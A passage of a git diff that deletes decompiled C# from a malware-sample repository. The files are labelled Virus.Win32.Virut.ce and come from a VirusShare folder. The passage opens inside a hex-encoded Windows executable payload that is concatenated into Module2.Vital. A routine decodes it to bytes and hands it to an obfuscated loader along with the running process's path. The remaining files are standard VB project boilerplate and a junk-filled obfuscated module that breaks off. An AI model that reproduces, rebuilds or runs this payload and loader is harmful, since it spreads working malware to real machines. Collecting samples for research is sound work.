"723CEF80ADC9A652A6A3D94710075B1523B6455168A10FC1D55230E15A7807D861B0FF9E514E91EBF56A5758EBF064B0C92BA3B4C914699621B910210C0D7642170E15ED7916E152C499EBCF321410EB05B9E7F6CB1AB5DECEEBADF6451587F8E5EC7537"; - Module2.Vital += "557521D952B9B710AB297B6FAF06B0013BAE6A8BADB76D6C515AACFEC39C04E3EEFD6CB745E9D18BC8F5F2DACA085278BAFA46EEA843002BC981FA387F6F02DAB7BB413074340BEA91732B386C9778EB430274ACEA02423903524D73A9E3854BE4531022"; - Module2.Vital += "0351444FC82320B474B6C9501418195BECFE3668EEC4FC5F181D5A4B384B0249BDC197F94A8910889D4304500E78986D7800B814675051CB536FAEB56F830F9445FF587D3C353C5130505D0A0A757BE82D240342DBDBFFB6714D424B0489088039075873"; - Module2.Vital += "434104FFD2EBCE4A6DDB08660802034A5D8658182C140DEE1C0F64E1040C210BB4A3C7B34B061C0CAFE4574CC2D6BDABB47DE454579E6A45AB31AAF102868ACB57AB390BB1D0E805C9D0E0084E6E18E6223A4A4E2008EB522E19EC6172F459281C2F5147"; - Module2.Vital += "120988DA47E30F83B48F51C0390C19FF71088F3F1B6681651A42E61E101D0B823416E6F7DA466B6B6DB2BA492B51E0B0EED8A27B5250244EE4503D428B0A116ED8DA0C794141387935505EF80B140E4440D24B20E323807B50B034D0A074C0405C449B28"; - Module2.Vital += "52018BD44D2D57E0D04281DD3B9C97F812042D10B010847E7404E12C94A208508D2C9334BC203C532453155959E92E34558DE327455A595A149B7BA1C28A0C020877E420FBC209C89EA70389018BD3DA8825DAEEF72F0FF65A0509C846E32C3F0023E41C"; - Module2.Vital += "DBFF4FC603A6EC0D0A456C69525420312E30310B43FADBFEFF6F7079726967687420284329203230132C0533205277DFBEDD46696D67696368612590568BF13EA820F612B4084C88E54384A31435597D843B102FF9CF01BC513DE1EBBF1B2870087207B9"; - Module2.Vital += "B79E2D108501D86E456317731E8BC40C8B415D3034ED2943C3CC6A964C6CCE6450E6500CB9AD29D72F4EFA6C0A8D03F0B564CC1F5FC00C8BDADCA2D6490B47B77509F7E19CFD776B9153058BD81DF76424140309E1B218730BDD5B1A43D06FE0D06C77A8"; - Module2.Vital += "7897A77C0F0A18B028E8FB507704963CB2286FA84032D8D9FF0F6020059319020B9823A8CB96CD064B074F92A7EC6453C0000012F800910CA808009014415AA2AE0A144C5C004C1628BC0128064523570123FFCAF6A2781A530954696D65F64F00680C35"; - Module2.Vital += "33324E6578740E7E58DB0221723D38546F6F6CFBB78D8A6A7016536E617073686F19F79254911B6B08E0DA27FB53697A655D506F696E1F7AB76EDB00A54D750A78796C52726396051BF66D706941586E1A6F2450E409F61345134245860151F406162A1D"; - Module2.Vital += "B2B67D27214565540B6D7C5D86248ADE20850109B7DB1001DA53797A656D0DED12DAB20B172352FA8081C56EAC7365C54C946C760C604964E45AB76C73555D98653F31B310F6325841731859B06C56447EF7625D2B8CB4741CED1773E08A82E0A8A7CBE1"; - Module2.Vital += "B5B78C6BA78D0A5D0B14150E44C34C6FCDA2680823546C60B3901580143C4A0218C2B35AC2E7CE5E35FA537D35450B305094B0172A5C0915C54E6201366BBB91627375EE3A0DB225A9A2223E61CEBD6DDB463453B8670F4F626A2FF28B5491FB75706C69"; - Module2.Vital += "63A182502E8064230F32703B7708204387336C5320F7C0DCE726726D66F5496E227829733421C32C496DDB66C16DE41D6BE275E37B50D41E46834F0A9611EC3444BB60E92DC135AC4CF4275D41A868D828A7325114EC5479700EA404303A800641B950D1"; - Module2.Vital += "777A6DDB5365672805C395FFA0420FDAE9BD8DFB61B5D1809BC2DCD6DEAB656444CA436D4515952D4C72496E4C7A76F85451CADE452B157A24A4800F8A9CC6B2F776FF36644F66DDAAE0C3DE6D0B31620B556E7E0DECCDB6B14C0B487F705032EBA209B3"; - Module2.Vital += "17141ACB19872BA9C4017C0976D9EC36530465702721534F6DB0284A7550AB00EAE54C5EDA1AAC2D5648D089086E93AC36AC346A09538902AAA130061379A40381778A5F6953B111ABBA8D330021E1EF4D78F675679B4B652C10C0200015730F0C5CA868"; - Module2.Vital += "60BD1C548A1AED70706B07FD15BD3784542AB19BF11208944FFD2772C9DA0DBB55735B1EDA80992A358A5125B3E79615C47F11822049B3D36CC52E30548ED2C198AC6A43C94942195B21C2B7D17254616290051363332C73EE68426C28DB0E731EA3852C"; - Module2.Vital += "D63F49416908159D251143E2F6BD616D657D096E65EDD96C0EDA6320939F38B801E16F0D9A2B7B055F5F43787846E8389E61C2D99B11150C675B6B01CF3470625FD9B6CD1C94F9790A70760849143DC6666D3F3F3199AD83BF7F55414540585A246E7072"; - Module2.Vital += "DA660A66941E4D9561D570B89EE3B9F63EDC67523708E6DCECCD1059630802AC0C413DCD43F853C2034F8ED68FF12B3D4892D56EB9B675638AF96C64B609CF668B08304F0402480185D3748696165B0CFDA9D0B5065834F74D0CA0027788052125087A63"; - Module2.Vital += "12066A9C6F697062287CB85DB372642565771543681F92A14BD62F160E6917A4030B28C7686C6FA4C7EB1811697312F9ED0C0F1236233E0E1FB361070734807454D671A1731520505D6B4DD46175842D6BB1413E0D61DE9B25838B625D4D82B9DBCB2D54"; - Module2.Vital += "72BA736C2012B282A3391D3D2B742362A7D9C22D663E4A0F46EB661B806F79138C6F0EF726B464A5CD41C9DF119884074073154657D969C6C241761B6CD9191DD636592C960D44286198610B0B0B21A37076572825898ED27C6A76167B307E426F78771B"; - Module2.Vital += "56CC566C088FF542486AE09645E3796F2A1E988494B5AD32CF752F5A6E7B04E114E4A36E06C901765828533D537B50DA0D6B77645F152587F038180350566B5C86B5D62C1A6E6D47F12AB684091C57818AD750E6591AAB66020B7B0806854E410EB20858"; - Module2.Vital += "81558511DB584260D811F9147606506EA14365A2B26D9A6D6B72D0FF0B0209CBB22CCB0304170610122BCBB22C136F3473B9FFFFFF5800F05403F0580C18040418141004220A300606180B073311FFF6FFFF2E252A11080A1D24080607140605170A2008"; - Module2.Vital += "0E06170B172211201415FFDFFEFF1A0E221F431F380C1507424F15480D290E18412948130B1C140E2714B7FFB7FF5B1D150F2919050C0A020529181B1E0A0A0D07052D0A161BEF6E6DFB1907070A234D0918100D0B001D23271D6EDBEDED29131B501B0C"; - Module2.Vital += "0C5E0907141219190EDB03F6DF031B290A1510100E10000D0F0A3815B7FFFFFF05110530150A0C12051D0B091124140A1A0737091812092A05340811EDFFDFDA140715B2152723071B271A1725120D081B251AB9B7FD63EE100C1E8A0213180718290B20"; - Module2.Vital += "0A109F61ED6F3705090B550C1C0D0E0C190910B5DDD6DA118A0E090B100813A8FBEFC2EE016E0D13031711001019361128ADB65FB67D162B311D4E250A20110D354C0EFDDBADD03E0B700917020C0F360C4A474F6DDBF6B62216501011270E0DAE26591B"; - Module2.Vital += "175EF8BF423514341A0B32232B2A2A6A2E151D525F26FF5DB7F01206310F540CA41B871106210C1D12310C227BFBFFB7262C120B13330C300C490E0E15112C2012E34E0406280B85B77F0A170B2D131CA26A161809A19B31FFFFF7FF6636290D293B0A2C"; - Module2.Vital += "0512240D10122367180F3413141443361D200709DFFE2FFC1307170D1A20C03E1708171208390A0712720B0C2926ACB56DE11A18283D23E705EB0E00976D170613F3071572070F0C786BDF2608101B06082E0C0C434A6B2F145EAD11092E119019061442"; - Module2.Vital += "660E76605B34060207000E0A1BEEB8D00C131619112C111A210A1FD0D8350A5F0A560B1A5FD6BA77A1F05D05233B0B062A9BF6BFFBB7022E091F13310B2720280F09F028010A3A06491B35B6C28D5D06158AF31278DDDAD6BDFF0A4712101AC608EF820D"; - Module2.Vital += "17B1C28DD680262EC42018690276BCADB905919E2B130437111716B6EDD60885080B99251214DF09B6FDD61A270B030105590E0F267B0C17C3C28D85CC1B7B0F143D0B31639BC135271B4A19090207B5F2ED9D06000727280512C9B7C28DBF5824192336"; - Module2.Vital += "1B42D43D0D0CB10616DCEDFF6F270F3D07192F1D4C171D0638302326541631D4B51D25E70030086C0D192D1A8D5BF7110D4D1EC2061B2BD75DA9F4DF001D1426372A08072E652344094ADF6D7C3236AF0A002E0E26101A23BFFCFF375B71073A2A112423"; - Module2.Vital += "38110D264C28179F0D34084715161BDFB5FF0613081A331F641E072410121A1D134FF60CB7ED4BFF1A2956320716231C910A081006FC9C252119D65EF8861A7F2209092912B24622075101FE76E3FF4E1647075323314165052B31141E0D52221C1610ED"; - Module2.Vital += "B7B7175F0D2317801C2053031C115D0D0C8FB9E0286C060A27D5371E312815BA42D5A3128E3946A17D5B97115F07132B2F22E325195A2BDD09DB0919CB634BBBAEDD030F0B2386CE1325061AD9982B350EA50EA985339097366E1B6D1D2DED164D0818D5"; - Module2.Vital += "0E1C6F6FDB15232811F909131321D9C3DD8619B151E607204806BDDDEE9A3F48211C0C950F16FD0C270996DCB6B50A1CAB075E211B831FD6BAE337E20835082D08C30A340FCE5AD6B0F1C617160C2A323C1ABA0EFD72380AB74C0F259C6E0DB5D6B0D52A"; - Module2.Vital += "741A8B2C0D104AB756CBA58301890632126CE7B0E67DBD0D0A1B0692818E77806133582AA4160D765BAD34D9330C4947A9E1142814B6B72FBB0E3532D11FDCBCF46F4BDF6936072432C428CE3F4931183116240BBFF5B6E61E0B326D0DB51C212984684F"; - Module2.Vital += "25B7DEDA1D6B08610FC95D111DD824F0E34BAE40E902392E9E829A980B98367EE1F0F500BF160564072D564E22D01A2F6CFA1EA422212425C4C656602B86F11A19CF1CFAD78DD685361210A32F301E8252A3D14009620F56D166ADA914B0021D2F09C0A5"; - Module2.Vital += "64D76E1C1C1207231C0BD95A5B28A28405005D281BA5BFE3DBFDF0520105FF3137BB184F070F45F5B6155A2D0EF9929D63102BBBF0ADB10B1DB2CAF0F8002D530B1552E90B055A1074222016122049B653815B05151C9A2DCB07A95470ECB80D2FD40A16"; - Module2.Vital += "A4688682691DE8A7BFD9C9B05058F62C86C40E7D7846E9FF573612172F190D5308193A0739B88656A181971D1F6C5AFAD45A0BC618333F830F085A70DD68680DCD0916A67D1978BB5EDB50151169D70D0A453777A1D47633976D0FD413090C36B7512E19"; - Module2.Vital += "0576080829176B35B799D84D0A2F1C3FB56FBBE3710F07CECF1D0946A70601C0FFFFDD6E4711276B29F0760129524A5B1E7763F090016C60440B54DFB58C2043301400504523010723F8126B0BDD7347ABE000DDB366FB0E210B01060CBE121366420410"; - Module2.Vital += "28F8227709D000000B023EE966C969070CF0BA1901C90676F61E34100706480A966303B4BCC84576AB901FD00000AC0E6408036E2FB8C21E2EED00CEBCC3857DC190EB0423200AC8E6AA502E0F29FB2AB65C48771227C2404229006F2EB71084C047EB7E"; - Module2.Vital += "F200000000000000008004FF807C2408010F858601000060BE00C000108DBE0050FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E8"; - Module2.Vital += "03720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A024288074749"; - Module2.Vital += "75F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9B60100008A07472CE83C0177F7803F0175F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70589D8E2D98DBE00E000008B0709C074458B5F048D8430"; - Module2.Vital += "0010010001F35083C708FF96C8100100958A074708C074DC89F979070FB707475047B95748F2AE55FF96CC10010009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE224"; - Module2.Vital += "0FC1E010668B0783C702EBE261E9C023FFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Vital += "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014210100C820010000000000000000000000000021210100"; - Module2.Vital += "D42001000000000000000000000000002E210100DC20010000000000000000000000000038210100E420010000000000000000000000000043210100EC2001000000000000000000000000004F210100F42001000000000000000000000000005B210100"; - Module2.Vital += "FC2001000000000000000000000000006621010004210100000000000000000000000000722101000C21010000000000000000000000000000000000000000007C2101008A210100000000009A21010000000000A821010000000000B221010000000000"; - Module2.Vital += "B821010000000000C821010000000000D621010000000000E02101000000000074000080000000004B45524E454C33322E444C4C0041445641504933322E646C6C0047444933322E646C6C004D53564352542E646C6C005348454C4C33322E646C6C0053"; - Module2.Vital += "484C574150492E646C6C005553455233322E646C6C0057494E494E45542E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F63416464726573730000526567436C6F73654B657900000044656C65746544430000"; - Module2.Vital += "61746F6900005368656C6C4578656375746541000000534844656C6574654B6579410000546F4173636969000000496E7465726E65744F70656E4100001001000C0000001D3D000000000000558BEC83EC2C535657E80000000059894DE4EB4256697274"; - Module2.Vital += "75616C416C6C6F63004B65726E656C33322E646C6C005669727475616C46726565004C6F61644C69627261727941005669727475616C50726F74656374008B75E48B5D088D461350FF53148BF88D46065057FF53188945F48D46205057FF53188945E48D"; - Module2.Vital += "462C5057FF531883C6398945E05657FF53188945D48B03BF003000006A408B483C578D34018975F00FB746068B4E508945EC8B46345150894DF8FF55F485C089450875156A4057FF75F850FF55F485C08945080F84710200008B4E548B338B7D088BC1C1"; - Module2.Vital += "E902F3A58BC883E103F3A48B038B483C8D8401F80000008B4DEC85C98945F47E30894DF48B48108B780C8B7014037D080333894DDC8BD1897DD8C1E902F3A58BCA83C02883E103FF4DF4F3A475D68945F48B7DF0837F74100F8CF801000083BF84000000"; - Module2.Vital += "000F84AD0000008BB780000000037508837E0C000F849A0000008B7D08037E0C57FF531485C08945F8750F57FF55E085C08945F80F84B80100008B45F88B4D088B7E108946088B0603F985C08D1408C74604301784158955FC7503897DFC8B45FC8B0085"; - Module2.Vital += "C0743AEB038B4D08A90000008074088B45FC0FB700EB0503C183C00250FF75F8FF531885C00F84630100008345FC0489078B45FC83C7048B0085C075C883C614837E0C000F856CFFFFFF8B7DF08B45F48B4B0C85C975038B4D082B4F3485C9894DFC0F84"; - Module2.Vital += "C400000083BFA4000000000F84B70000008B8FA0000000034D088339000F84A50000008B51048365F80083EA088D7108D1EA85D20F8E86000000668B3E8BC781E700F0000025FF0F000003010345086685FF745C6681FF0010750B8B7DFCC1EF10660138"; - Module2.Vital += "EB4A6681FF00207506668B7DFCEBEE6681FF003075078B7DFC0138EB2F6681FF00400F859E0000000FB73883C6028975E00FB736C1E7100BFE8B75FC8DB43700800000C1EE106689308B75E04646FF45F83955F87C808B45F48B7DF0034904E952FFFFFF"; - Module2.Vital += "8B4DEC85C97E2A8D7024894DECF64603046A08587405B8080200008D4DE85150FF75DCFF75D8FF55D483C628FF4DEC75DC8B47288B550803C2807B100175158B4B0485C97406899144010000FF73046A0152FFD0837B0400751C8B4508894308EB1F6800"; - Module2.Vital += "8000006A00FF7508FF55E483230033C0EB0E68008000006A0053FF55E46A01585F5E5BC9C20400004765744D6F64756C6548616E646C65410000000047657450726F634164647265737300006B65726E656C33322E646C6C0000558BEC81EC840F000056"; - Module2.Vital += "5715F4E70E99260FAFFEC1D1A485DAFFC1C7C154C76E790FBAE0178BCF13CDC7C19407AEB93AC613CDC1D144FFC1F7C36497FEC984D58BCDC1D1140FB7FDC7C134274ED90FC0C33EEB01E413CD6A036A006A006AE5FF152410400085C00F854E0200008B"; - Module2.Vital += "3508104000FFD68BF881C7681100000FA5C189F90FAFC88BCFEB01390AD0D1E10FA4C1A90FBAF279C0CA49FFD63BF877DE0FAFC30FB7CFF7D10FB7CF0FA5C10FA5C187C869C86C7F46F1F6D88D0D8C1F669186C241F2C7C1CC5FA6D18AC6C7C1ECFFC671"; - Module2.Vital += "0FBDC333C080803410400000F20FC1CAB9E908ABC2C1E12108C269C843FAD544B9F9D83B12B93130332AF241FFC1C1E1D9403D0066000072CCFFC189F90FBCC8C7C1BC8F1681480FB7CF0FA5C10FAFC881E18C1F669180F8760FABC10FA5C169C8CC5FA6"; - Module2.Vital += "D13CB60FC981E17C4FD64188F021F9410FC90FBAE94C33C08080347640000084E7D1E14AC7C119785BB2648D0D2160A3DA0FC1CA69C82948EB02403D5F03000072D6C7C1DC2F36210FADD88D0DFCCF56C1260FC1C80FABC1F7D187C8C7C15CAFB6A188F0"; - Module2.Vital += "0FABC10FBCC8410FB7CF0FBAE9BC8BCF21F90FBAE96C0FC90FC90FA4C11C0FA5C168B8794000FF15041040008BF88BCF87CAEB01018D15D150D34AD1E1B9D9381B72F7C51190138A85EF0FABC1D1E16489F9F2418B35001040008365F00083A574FAFFFF"; - Module2.Vital += "0068A879400057FFD66894794000578945FCFFD68945F88B451089855CFAFFFF8D857CF0FFFF8945E8B834104000898580FAFFFF8945E40FA5C189F90FAFC88BCFEB01390AD0D1E10FA4C1A90FBAF279C0CA49C78584FAFFFF00660000C78578FAFFFF34"; - Module2.Vital += "76400026C1E18C0FC925ACBF86310FC0C20FA4C1CC64C7C1ECFFC6718D45E4C645F40150C7857CFAFFFF5F030000FF9578FAFFFF21F9F22E6469C8ECFFC67165F28D0D9CEFF6E10FADD8F7D1254CDF26510FA3D8256C7F46F15F33C05EC9C21000558BEC"; - Module2.Vital += "83EC4456FF15181040008BF08A063C2275148A46014684C074043C2275F4803E22750D46EB0A3C207E0646803E207FFA8A0684C074043C207EE98365E8008D45BC50FF1514104000E85D0000006830104000682C104000E834000000F645E80159597406"; - Module2.Vital += "0FB745ECEB036A0A5850566A006A00FF150410400050E8BBFCFFFF8BF0E83C00000056FF15101040005EC9C3568B7424083B74240C730D8B0685C07402FFD083C604EBED5EC36A20586A0450A3887D4000E82400000059A3847D400059C38B0D8C7D4000"; - Module2.Vital += "85C97411A1847D40008D0C885150E8B5FFFFFF5959C38B4424040FAF442408506A08FF151C10400050FF150C104000C3882B14002000000000000000CC7D000000000000000000002E7E000000100000F07D000000000000000000004A7E000024100000"; - Module2.Vital += "0000000000000000000000000000000000000000F87D00000A7E00001E7E0000887E0000567E0000647E0000767E0000947E0000000000003C7E0000000000003E0147657450726F6341646472657373000026014765744D6F64756C6548616E646C6541"; - Module2.Vital += "00006D014765745469636B436F756E7400004B45524E454C33322E646C6C0000BE014D657373616765426F7841005553455233322E646C6C00007D004578697450726F6365737300500147657453746172747570496E666F4100CA00476574436F6D6D61"; - Module2.Vital += "6E644C696E654100990148656170416C6C6F6300400147657450726F636573734865617000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Vital += "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Vital += "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; - Module2.Combine = Module2.Pullover(Module2.Vital); - Jungle.yglgwgdiliknhk(Module2.Combine, Process.GetCurrentProcess().MainModule.FileName); - } - - public static byte[] Pullover(string PullValue) - { - PullValue = Strings.Replace(PullValue, " ", ""); - byte[] numArray = new byte[checked (unchecked (Strings.Len(PullValue) / 2) - 1 + 1)]; - object Counter; - object LoopForResult; - object CounterResult; - if (ObjectFlowControl.ForLoopControl.ForLoopInitObj(Counter, (object) 0, (object) checked (Information.UBound((Array) numArray) - 2), (object) 1, ref LoopForResult, ref CounterResult)) - { - do - { - numArray[Conversions.ToInteger(CounterResult)] = checked ((byte) Conversions.ToLong("&H" + Strings.Mid(PullValue, Conversions.ToInteger(Operators.AddObject(Operators.MultiplyObject((object) 2, CounterResult), (object) 1)), 2))); - } - while (ObjectFlowControl.ForLoopControl.ForNextCheckObj(CounterResult, LoopForResult, ref CounterResult)); - } - return numArray; - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyApplication.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyApplication.cs deleted file mode 100644 index bee02457..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyComputer.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyComputer.cs deleted file mode 100644 index 5da04995..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyProject.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyProject.cs deleted file mode 100644 index 337781af..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/NmXRWnCqVoQLkgsgflZU.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/NmXRWnCqVoQLkgsgflZU.cs deleted file mode 100644 index 0f076fd1..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/NmXRWnCqVoQLkgsgflZU.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: NmXRWnCqVoQLkgsgflZU -// Assembly: 123, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3E1AEEED-3C8F-4FD4-B5E3-3EE641855491 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; - -[StandardModule] -internal sealed class NmXRWnCqVoQLkgsgflZU -{ - public static string atbLVcmOWAsggFzJMjHTBWnFUvppEnuuvLqSxyKkpCUCHJrbfOQysKsktnboeBmRhqgLeWpvCkQhVPpngGyWQMQYBnEcuGVbTkrFWXykpBZjdyOgyOyBfGcLdvSW( - string uQIJhIkjEOJDprga) - { - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - int num3 = (int) Interaction.MsgBox((object) "jpVlbPJrFBrdGlmGuNttXScIriUXlBblKwzGvQZsQgQPOzgXyqmZraBmamnrdKonJUNRaawfMzmhwlVVbVzrGYnEvlULcpRAgcWxVjrhvnHSEVouWphekLlsMgCalKfNSuucUSCibpdzHRBdnmNnmNdVLnWySHLGlxRWCPabKyWIPsawMdtUQPfdDdZGxZMctVhDVibjxF"); - int num4 = (int) Interaction.MsgBox((object) "GvbkOrzjrVcpYqjiWiMmDVPBLGtTJZNByzPbuTDjJSnBKcqNbjQKdEhpRSRXVPOgMIBhfDboYlwhxVpgdFVtmAbNiMHoKknDKWjOwhHMwrQoQtwERPUgEKdmHEzdfZVMAEGwlvzUMlkJRPfpoVMKysDavmdvOEUyqmzvOOaxZnvZvjufffOFPKlWjKcsjAttgqpShjlPyVd"); - int num5 = (int) Interaction.MsgBox((object) 